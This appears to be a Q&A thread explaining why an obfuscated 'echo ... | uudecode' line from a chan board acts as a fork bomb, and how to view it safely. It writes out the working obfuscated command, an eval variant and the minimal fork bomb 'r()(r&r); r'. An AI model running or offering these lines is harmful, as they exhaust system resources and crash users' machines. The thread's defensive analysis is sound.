How and why is this string of text a fork bomb?
Found on a random chan board:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Somehow running this this results in an infinitely spawning process that runs rampant and grinds the machine to a halt. I see something about "su" attempting to be executed numerous times.
..which is strange, because I'd just expect text to be output, not the execution of anything.
Running this text through an online decoder just gives me a batch of binary spew:
What is this mess of text actually doing, and is there a way to "safely" view it?
First, let's look at the whole command:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
It contains a double-quoted string that gets echoed to uudecode
. But, note that, within the double-quoted string is a back-quoted string. This string gets executed. The string is:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
If we look at what's in it, we see three commands:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Performing brace expansion on the middle command, we have:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
The first line tries to run a nonsense command in background. This is unimportant.
The second line is important: it defines a function r
which, when run, launches two copies of itself. Each of those copies would, of course, launch two more copies. And so on.
The third line runs r
, starting the fork bomb.
The rest of the code, outside of the back-quoted string, is just nonsense for obfuscation.
How to run the command safely
This code can be run safely if we set limit on function nesting level. This can be done with bash's FUNCNEST
variable. Here, we set it to 2
and this stops the recursion:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
The error messages above show that (a) the nonsense commands rYWdl
and Y29j
are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo
does not start with begin
and, consequently, is not valid input for uudecode
.
The fork bomb in its simplest form
What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:
echo "`r()(r&r);r`"
We can simplify that even further:
r()(r&r); r
That consists of two statements: one defines the fork-bomb-function r
and the second runs r
.
All the other code, including the pipe to uudecode
, was there just for obscuration and misdirection.
The original form had yet another layer of misdirection
The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Notice one of the first comments about this code:
I fell for it. Copied only the part that echoes and decodes, but still got forkbombed
In the form on the chann board, one would naively think that the problem would be the eval
statement operating on the output of uudecode
. This would lead one to think that removing eval
would solve the problem. As we have seen above, this is false and dangerously so.
To answer the second part of your question:
...is there a way to "safely" view it?
To defuse this string,
replace the outer double quotes by single quotes and escape the single quotes occurring inside the string. Like this, the shell will not execute any code, and you're actually passing everything straight to uudecode
:
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Other alternatives are noted in the comments:
kasperd suggested:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall suggested to use a text editor, paste the contents, then pass that file to uudecode.
At a first glance, you might think that output to the shell will never get executed. This is still true. The problem is already in the input. The main trick here is what programmers call operator precedence. This is the order the shell tries to process your input:
1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
- Compose the string by executing all backticks commands inside it.
- Usually an unknown command, which would cause some output like If 'rYWdl' is not a typo you can use command-not-found to lookup the package that contains it … (depends on the system)
- Executes 2. in the background. You will never see an output.
- Define the fork bomb function.
- Command separator.
- Run the fork bomb.
- Insert the result of 6. into the String. (We never come here.)
The error is to think that echo
would be the first command to be executed, uudecode
the second. Both of them will never be reached.
Conclusion: Double quotes are always dangerous on the shell.